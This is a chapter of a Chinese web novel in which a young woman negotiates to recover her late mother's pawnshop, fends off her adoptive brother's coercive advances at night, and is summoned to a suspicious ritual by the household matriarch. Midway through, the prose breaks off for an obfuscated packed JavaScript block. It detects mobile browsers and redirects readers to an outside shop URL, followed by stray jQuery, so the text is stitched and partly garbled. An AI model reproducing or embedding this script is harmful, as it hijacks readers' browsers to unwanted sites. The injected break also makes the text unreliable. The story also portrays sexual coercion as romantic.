第114章 你不要脸

作品:《岁岁长宁

    姜幼宁听夏娘子应了,心下一松。


    她垂下鸦青长睫,顿了片刻再次开口:“要找一个品行端正的儿郎。价钱可以商量。但是,事后不要再同我有任何纠缠。你们商行可以保证的吧?”


    走这一步,她是想先拿回娘亲留给她的当铺。


    不论是查清自己的身世,还是离开上京,远离镇国公府所有的人,都离不开银子的支撑。


    所以,她眼下不考虑别的。先拿回当铺,后面的事情再慢慢调查。


    但这件事有风险。


    到衙门去领了婚书,在律法上就是正经的夫妇。


    她不想遇到一个地痞无赖,领了婚书之后,想和离却离不掉。


    那样麻烦可就大了。


    “这个自然。”夏娘子笑看着她道:“姜姑娘,我们商行做事情,绝对按照您的要求来。您还有什么条件,尽管提。”


    “最好是……我和他不要见面。”


    姜幼宁想了想,觉得这样更为保险。


    “领婚书之前不见面可以的。”夏娘子道:“但是,去衙门领婚书,还是要两个人一同去。不过姜姑娘到时候可以戴个帷帽,将脸遮住,也行得通。”


    “好。”姜幼宁应了,望着她问:“价钱几何?可否立下文书?”


    她对于夏娘子和锦绣商行还是信得过的。


    毕竟,娘亲委托锦绣商行的事,这么多年过去了,锦绣商行还在一丝不苟地履行。


    这足以说明锦绣商行的信誉。


    夏娘子笑着与她道:“立文书是自然的。只不过价格,也要同姑娘商量的。这件事倒也不复杂,八千两银子,一锤子的买卖。不需要定金,事成之后姜姑娘付给我便可。”


    “这么贵?”


    姜幼宁黛眉轻挑。


    八千两。


    是她没有想到的。


    “姑娘通过这个,可以拿回当铺。”夏娘子笑着道:“那当铺可是日进斗金的。姑娘不妨好好考虑?”


    她偏头看着姜幼宁。


    这姑娘,一看就是不谙世事的样子。她觉得这门生意能成,价钱要高一点也不是什么问题。


    “我考虑一下吧。”


    姜幼宁迟疑了片刻,最终没有答应。


    夏娘子说得有几分道理。给八千两银子,她可以拿回当铺。


    但是,当铺本来就是她的。


    现在,韩氏已经支不出当铺的银子了。她拿回当铺,不过是早晚的事。


    她只是想早一些办成这件事,不想竟要这许


    多银子。


    赵元澈和她说事缓则圆。


    她不该表现得太急切。


    那这件事就先放一放吧。


    “姜姑娘考虑好了,随时可以找我。”


    夏娘子面上笑意凝固了片刻,也又恢复寻常。


    她还以为,这小姑娘一口就能答应。


    毕竟,那当铺赚得可不少。


    不想,姜幼宁的脑子倒是挺清醒。


    “之前,韩氏拿走的那些银子,你们能帮我拿回来吗?”


    姜幼宁想起来,又问她。


    “之前我们都是按照规矩办事,让韩氏支取银子也是您生母的意思。我们不能帮你追讨。”


    夏娘子摇摇头。


    “那你们,可以帮我查查韩氏的银子都用到哪里去了吗?”


    姜幼宁乌眸转了转,轻声问。


    她一直很好奇,韩氏的银子到底花到什么地方去了?


    如果只是她们母女买衣服买首饰,那么这些年韩氏从她当铺里拿走的银子,足够她们母女挥霍很多年。


    韩氏怎么可能手里这就没有银子了?


    这些年,镇国公府公中也是有银子的,家里的花销用度都是镇国公和赵元澈的俸禄,养一个镇国公府绰绰有余了。


    那么,韩氏到底把银子花到哪里去了?


    银子的去向或许和她的身世有什么关联?


    “这个也可以,不过,不一定能查出来。”夏娘子笑道:“而且,镇国公夫人身份高贵,我们要查她价钱也是不低的。”


    “是查出来才给银子吗?还是说,不管查不查得出来,都要给银子?”


    姜幼宁自是要问清楚这些的。


    “查不出来,分文不取。”夏娘子道:“查出来的话,这个我们有明码标价的,谁找我们都是一样。”


    她说着,取出一张价目单,摆在桌上。


    姜幼宁拿起来仔细瞧,又询问她:“有限定时日吗?多久能查出来?”


    “这个不敢保证。”夏娘子摇头。


    “我就要这个。”姜幼宁指着一个价目:“你们查出来,到时候你和我说,我付银子。”


    “没问题。”夏娘子笑着应了。


    *


    姜幼宁在街上转了一圈,买了几样吃的让馥郁提着。


    “芳菲喜欢吃这个,买一点。你有没有什么想吃的?”


    姜幼宁在卤腰子的小摊前驻足,回头看馥郁。


    这些东西,她带回去打算晚上和馥郁一起吃的。


    “不用。


    奴婢不挑嘴。”馥郁笑着上前,称了些卤好的腰。


    主仆二人迎着夕阳一路走回镇国公府。


    还未进院子,迎面便遇上花妈妈。


    “姜姑娘。”


    花妈妈今时不同往日,见了姜幼宁远远便行礼,恭敬得不得了。


    “有事吗?”


    姜幼宁停住步伐,抬眸看她,目光淡淡。


    如今面对花妈妈,她不经意间便已是上位者姿态。


    “世子爷回来了。老夫人说晚上家宴,让奴婢来问过姑娘……”


    花妈妈低下头,不敢看她的眼睛。


    不知道这个姜姑娘是怎么做到的。


    从前看着娇娇弱弱,人畜无害,她是一点也不怕这姑娘的。


    现在看,容貌什么的都没什么变化,偏偏气势如同换了个人一般。


    不知到底经历了什么?人才能在气势上有这么大的变化。


    “我不去了。”姜幼宁径直打断她的话:“你去和祖母说。我在山上待久了,身上不舒服,想早点休息。”


    镇国公府的家宴,她从前也不是没有参加过。


    他们不拿她当一家人。


    她去了不是摆设,就是赵铅华和赵思瑞联手挤兑的对象。


    从前,她不敢反抗。


    现如今,她才不去讨那个没趣呢。


    “是。”花妈妈不敢多言:“那……奴婢这就回去告诉老夫人,姑娘身上不舒服,就早点歇着吧。”


    她如今在姜幼宁面前,等于脑袋别在裤腰带上说话,是半句也不敢得罪姜幼宁的。


    “去吧。”


    姜幼宁随意摆了摆手。


    待回了院子,主仆三人许久不见。围坐在桌边,一起吃了一顿饭。


    姜幼宁同她们在一起,感觉到了久违的放松。


    沐浴妥当,在床上躺下之后,她又不禁开始思念吴妈妈。


    她出去这么久,吴妈妈也不知道怎么样了。


    赵元澈的人,应该不会慢待吴妈妈吧?


    要不然,等哪日看赵元澈心情好,求他再带她去见见吴妈妈?


    或者,干脆求他让她将吴妈妈接回来?


    耳畔传来轻轻的脚步声。


    “帮我熄灯吧。”


    姜幼宁以为是芳菲,在床幔内吩咐了一句。


    没有得到外面人的回应。


    她翻过身,正要挑开床幔查看。


    手才伸出去,一只大手先她一步,将床幔挑开了。


    挺拔的人站在床前,高


    大的身影将她笼罩在其中。


    正是该在赵老夫人那里用家宴的赵元澈。


    “你怎么来了?”


    姜幼宁瞧见他,本能地坐起身来,纤长的睫羽轻扇,抱着被子往床里侧挪了挪。


    他背着光,她根本看不清他脸上的神色。


    但大概是这次出门,在一起时间太长了。


    她心里并不这么怕他。


    对于他来自己这里,也没有从前那么多的抗拒。


    只是担心被人发现。


    赵元澈没有说话,在床沿处坐下。


    他的侧脸被昏黄的烛火照亮。


    姜幼宁这才瞧见,他清隽无俦的韩氏脸上染着不正常的酡红。


    想来是在家宴上吃了酒,才会如此。


    “快回院子去休息吧。”


    姜幼宁瞧了他几眼,张口劝他。


    他吃过酒之后,整个人看着便多出来几分清润。和小时候有几分相似。不像平日里百般生人勿近。


    “我和你一起休息。”


    赵元澈踢开鞋,上了床。


    “你……”


    姜幼宁伸手拦他,去哪里来得及?


    “我沐浴过了。”


    赵元澈放下床幔之际,顺手扇灭了床头的烛火。


    姜幼宁有些无言,谁管他有没有沐浴过?


    “来。”


    黑暗中,赵元澈双手像长了眼睛似的,精准地将她揽入怀中。


    “清涧他们在外头吗?”


    她小声问他。她可太怕赵老夫人或者韩氏忽然找过来,发现他们二人这回事了。


    “放心。”


    赵元澈带着她躺下,揉了揉她蓬松的发顶。


    姜幼宁闻到了他身上甘松香气,和着淡淡的酒气和胰子的香气。


    “家宴为什么不去?”


    赵元澈下巴枕在她头顶上,并无过分之举,只轻声问她。


    “不想去。”姜幼宁撇撇嘴:“又没人真拿我当家人。”


    她现在不大怕赵元澈了。有些话,也敢当着他的面直接说出来。


    话音落下片刻,赵元澈没有任何反应。


    她心提了一下。


    他大概还是不喜欢她说他的家人不好。


    正想到这处,忽然听到赵元澈轻笑了一声。


    他揽着她的手在她肩上轻拍了一下:“你这样就很好。以后,谁要你做不愿意的事,你都要学会拒绝和反抗。”


    姜幼宁听了他的话,好一会儿没有说话。


    从教她读书认字,教她如何应对各种事情,到带她出去见世面,让她做事有主见,学会拒绝和反抗……这一切的一切,都让她觉得赵元澈为她考虑。


    单从这些事而言,赵元澈对她无可挑剔。


    如果,那几次他没有强迫她,没有不尊重她,那该多好?


    可惜,他做了。


    而且,他们没有未来。


    他等同于毁了她。


    即便教会了她那么多东西又如何?她竭尽全力,还是无法逃脱他的掌心。


    她越学会那些东西,就越清醒。越清醒就越痛苦。


    如果她还是从前那个胆小懦弱的女儿家,不懂这许多的道理,大概也不会活得这么纠结吧?


    “在想什么?”


    赵元澈仿佛有能在黑暗中视物的能力。


    他的大手,掩住她眼眸。


    姜幼宁阖上了眸子。


    她语调软软地道:“我在想,你去宫里述职如何?陛下怎么说的?”


    想见吴妈妈,就得先关心他。等他高兴了,她便能顺理成章地提出见吴妈妈的事。


    “一切顺利。”赵元澈回道:“陛下褒奖了我,赏了一堆东西。过几日会办一场宫宴,到时候你一起去。”


    “太子呢?你有没有见到他?他没为难你吧?”


    姜幼宁语气颇为关切地询问。


    “何沛庭是他的大舅子。他现在只想撇清此事与他无关,怎么会为难我?”


    赵元澈大手捧住她脸儿,拇指在她细嫩的脸颊处细细摩挲。


    “那就好。”姜幼宁松了口气,又问道:“临州粮仓那里,没什么事吧?”


    她心里一直记挂此事。


    “没有。”


    赵元澈下巴在她头顶蹭了蹭。


    “那应该没事了吧?”


    姜幼宁总觉得,太子不会轻易放过这绝佳的机会。


    但是,他们从临州动身回来,也有好几日了。到现在一直没有消息,是不是就是好消息呢?


    “不一定。”赵元澈道:“粮仓里那么多粮食。他们要动手脚,也需要一些时日的。”


    “你不怕?”


    姜幼宁不由问他。


    “很多事不是你怕就能躲开的。”


    赵元澈摩挲着她脸的手指一顿。


    姜幼宁沉默了片刻,才小声问他:“我明天想去看看吴妈妈,可以吗?”


    “明日我不得空。”赵元澈道:“改日吧。”


    “我自己去。”姜幼宁不甘心,又软软道:“吴


    妈妈不就在你郊外的那座宅子里吗?清涧他们肯定认得的,你让他们带我去不,好不好?”


    她知道,多数时候,她对他撒娇是有些作用的。


    所以,她特意将嗓音放得轻软,抓着他的手,语气里满是撒娇意味。


    赵元澈沉寂片刻,滚热的唇忽然烙在她额头上,嗓音有一点点哑:“看你表现。”


    他凑近了些。


    “你不要脸!”


    姜幼宁拧着腰肢躲他。一时又气又怕,脱口骂他。


    他怎么成日就想这些事。


    她只是习惯了和他独处,和他一起吃饭,一起办事,甚至是一起睡觉。


    但和他做这种事情,她永远也不会习惯。


    他根本就是拿她当卸玉工具。每每吃了酒就要来找她。


    赵元澈不说话,脸埋进她颈窝,长腿压住她不让她逃跑。


    “你……你又不能娶我,还一直这样欺负我……就因为我身后没有人,我没人疼没人爱,随便你欺负了也没人找你算账……”


    姜幼宁挣脱不得,心里头委屈不已。她干脆停止挣扎,哽咽着控诉他。


    他真得过分。


    除了她要离开上次那一次。其他时候,她和他在一起,都是他强迫的。


    平日里看着矜贵端肃,一旦沾上这件事,他便不做人了。


    一点也没有别人眼里持正不阿的世子模样!


    赵元澈闻言动作忽然一顿,灼热的唇离开她柔腻的脖颈。


    姜幼宁没想到,这一次她的哭诉居然起了作用。


    从前,无论她怎么哭怎么求,他都不曾放过她过。


    今日……


    她想起来。


    之前那几次,他都被气得狠了,整个人像疯了一般,怎么说也听不进去。


    这会儿,她没有激怒他。


    他的理智尚存,所以能将她的话听进去。


    他倒也不是全然不可理喻。


    “我们是兄妹,根本没有可能的,你让我以后怎么办……”


    姜幼宁想明白之后,又继续哭诉。


    她要趁着他有愧疚之心,让他许诺以后再也不会乱来。


    “不哭了,是我不好。”


    赵元澈抬手替她擦眼泪。


    黑暗之中,他也能知道她的眼泪落在了鬓角处。


    姜幼宁抽抽噎噎:“那了以后,可不可以别这样,我真的很害怕……”


    她嗓音本就,这会儿带着哭腔说出话来,别提多可怜。


    赵元澈深吸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077266|192480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一口气,她愈是这般啜泣,他便愈想到某些时候……


    他侧身躺在她身边,听着她的抽泣,好一会儿才将她揽入怀中哄道:“好,我都答应你。别哭了。”


    “真的?”


    姜幼宁不大信他,又确认了一遍。


    “真的。”


    赵元澈何尝不知她的目的?又何尝听不出她语气里的点点狡黠?


    他在心里苦笑。


    他教她的那点东西,全让她用在他身上了。


    不知这是不是一种反噬?


    也罢,她学会了,并且会运用就是好的。


    “那我什么时候可以去见吴妈妈?”


    姜幼宁得了他的许诺还不够,又有得寸进尺地问他。


    “等宫宴过后。”


    赵元澈准了她。


    姜幼宁心满意足,靠在他怀里很快睡了过去。


    她心里对他是信赖的。


    他答应的事,不会反悔。她自然不必担心他又做让她不乐意的事。


    是以安然入梦。


    这可就苦了赵元澈。


    平日里,他尚且能依靠自己的意志力,忍住对她的渴求。实际上,对于尝过枕席之欢的人而言,这已经非常辛苦了。


    今日,他饮过酒,需求更甚。


    姜幼宁睡着后,他起来出门转了两回,靠着她还是难以入眠。


    最终,他在她额头上印下一个吻,穿戴整齐回自己院子睡去了。


    姜幼宁睡醒时,已是日上三竿。


    她坐起身伸了个懒腰,看着外头透进来的阳光,心情甚好。


    幸好之前韩氏和赵老夫人都不喜欢她,也不想看见她。


    所以免了她每日早起问安之事。


    否则,这个时候她应该在春晖院等着赵老夫人用过早饭,才能回院子来。


    晚上还得去伺候,等着赵老夫人上床了,她才能回院子来。如今看来,在这府里不受重视也有不受重视的好处。


    “姑娘醒了?”芳菲从外头进来:“奴婢伺候您起床。”


    “姑娘,这是主子让人送来的。”馥郁端着一张托盘进来,上头放着一碗热气腾腾的羹汤,还有什么包子。


    “是什么?”


    姜幼宁偏头瞧了一眼。


    他是早上才去的?还是昨夜就走了?


    她没有丝毫察觉。


    罢了,所以他什么时候走的。


    与她何干?


    “是羊血羹,还有羊肉包子。进秋天了,主子说吃羊肉滋补。”


    馥郁将碗在桌上放下。


    姜幼宁也不客气,穿戴整齐洗漱过后,便在桌边坐下,小口吃着羊肉包,喝着羊血羹。


    这两样东西,不知是哪家酒楼做的。味道很好,肉包子鲜嫩多汁,半点也吃不出羊膻味。


    “姑娘,奴婢早上听说老夫人又病了。”


    馥郁在一旁笑着开口。


    “又怎么了?”


    姜幼宁咽下口中的羹汤,眨了眨眼问。


    似乎她走的时候,赵老夫人也病着?


    “这病倒是奇怪了。说是头里面先痛,痛着痛着就到了心口,然后又回到头上。往复循环。前几日就说了,也请大夫看了,吃着药反倒越发严重。”


    馥郁细细禀报。


    “我不在府里这些日子,她可曾有过病?”


    姜幼宁想了想问。


    她如今警惕性高得很。她这才一回来,赵老夫人就病了,莫不是冲她来的?


    “好像没有。”


    馥郁与芳菲对视一眼,两人都摇了摇头。


    姜幼宁沉吟着没有说话。


    “姑娘要去探望吗?”


    芳菲担忧地看她。


    “不去。你替我准备一些东西送过去。就说我担心她见了我反而更不舒服,就不亲自去了。”


    姜幼宁捏着汤匙摇了摇头。


    这般,即将事情应付过去了,用的借口还是为赵老夫人好。又不用亲见赵老夫人省了是非,两全其美。


    “是。”


    芳菲笑着答应了。


    姑娘如今做事,真是越发周到。


    姜幼宁用过早饭,便取出赵元澈之前给她留下的账目,细细盘算起来。


    这些功课,她不该要赵元澈看着才学,自己应当主动一些。


    等将来当铺接手过来,她也好应付自如。


    可惜,赵老夫人并不遂姜幼宁的意愿。


    芳菲送了东西回来,一脸忧心。


    “姑娘……”


    “什么事?”


    姜幼宁停住拨算盘的手,抬眸看她。


    “老夫人让您亲自过去。”芳菲皱着眉头:“请了几个法师一样的人,在屋子里又跳又舞的,像是在做什么法事。”


    “还有谁在那儿?”


    姜幼宁放下手里的狼毫笔,拿过帕子擦手,口中轻声询问。


    “国公夫人,三姑娘,还有四姑娘都在那处。”芳菲一脸焦急:“姑娘,她们会不会是要联手对付你?要不然,非要你去做什么?”


    “不


    碍事,让馥郁和我去。”姜幼宁倒是不惧,又问她:“那些法师,是什么人?你可曾见过?太素道长在其中吗?”


    这大概又是赵老夫人弄的什么新幺蛾子。


    她现在跟赵元澈也学了些本事。其实心里是有些跃跃欲试的,想看看自己到底能不能应付赵老夫人的诡计。


    但也有几分担忧,怕自己抵挡不住。不过,事情已经临头,躲是躲不掉的。


    她早已不像从前那般胆怯,决定先去瞧瞧再说。


    “没有,一个都不认识。”芳菲道:“我也和您一起去。”


    “走吧。”


    姜幼宁起身招招手。


    主仆三人直奔春晖院而去。


    *


    春晖院。


    姜幼宁进了院门,不由驻足。


    院内香炉内青烟袅袅,几个僧人模样的人在四角处手里拿香拜着,像是在举行什么仪式。


    “姜姑娘,您来了。”


    花妈妈知道她要来,早早等在屋前廊下。


    见到姜幼宁进了大门,连忙迎上去。


    “她又打算对我如何?”


    姜幼宁偏头看着她,径直询问。


    她已经基本能肯定,赵老夫人弄这一出,是针对她。


    虽然现在,赵老夫人和韩氏已经反目成仇。但她们有一个共同要维护的人,就是赵元澈。


    为了赵元澈,她们婆媳可以联起手来,先对付了她以后再分高下。


    这再正常不过。


    赵元澈教过她,敌人的敌人就是朋友。赵老夫人和韩氏都是后宅的高手,自然是懂得这个道理的。


    “这个,奴婢也不知道啊……”


    花妈妈一脸无奈地摇摇头。


    “你真不知?”


    姜幼宁蹙眉望着她,目光里带着审视。


    “奴婢要是敢撒谎,就天打五雷轰。”花妈妈压低声音发誓,又道:“奴婢只看到,那领头的僧人和老夫人商量了半晌,说了什么奴婢真没有听到。他们让奴婢远远地站着。”


    她恨不得把心剖开来给姜幼宁看,好自证清白。因为她真的害怕姜幼宁一个不高兴,揭了她的老底。


    “你进去通传吧,就说我来了。”


    姜幼宁深吸一口气,让自己彻底冷静下来。


    赵老夫人也是人,没什么可怕的。无非是兵来将挡,水来土掩。


    “姑娘别怕,有奴婢在,不会叫您吃亏的。”馥郁在她身后,拍着胸脯保证。


    姜幼宁回头朝她笑了笑。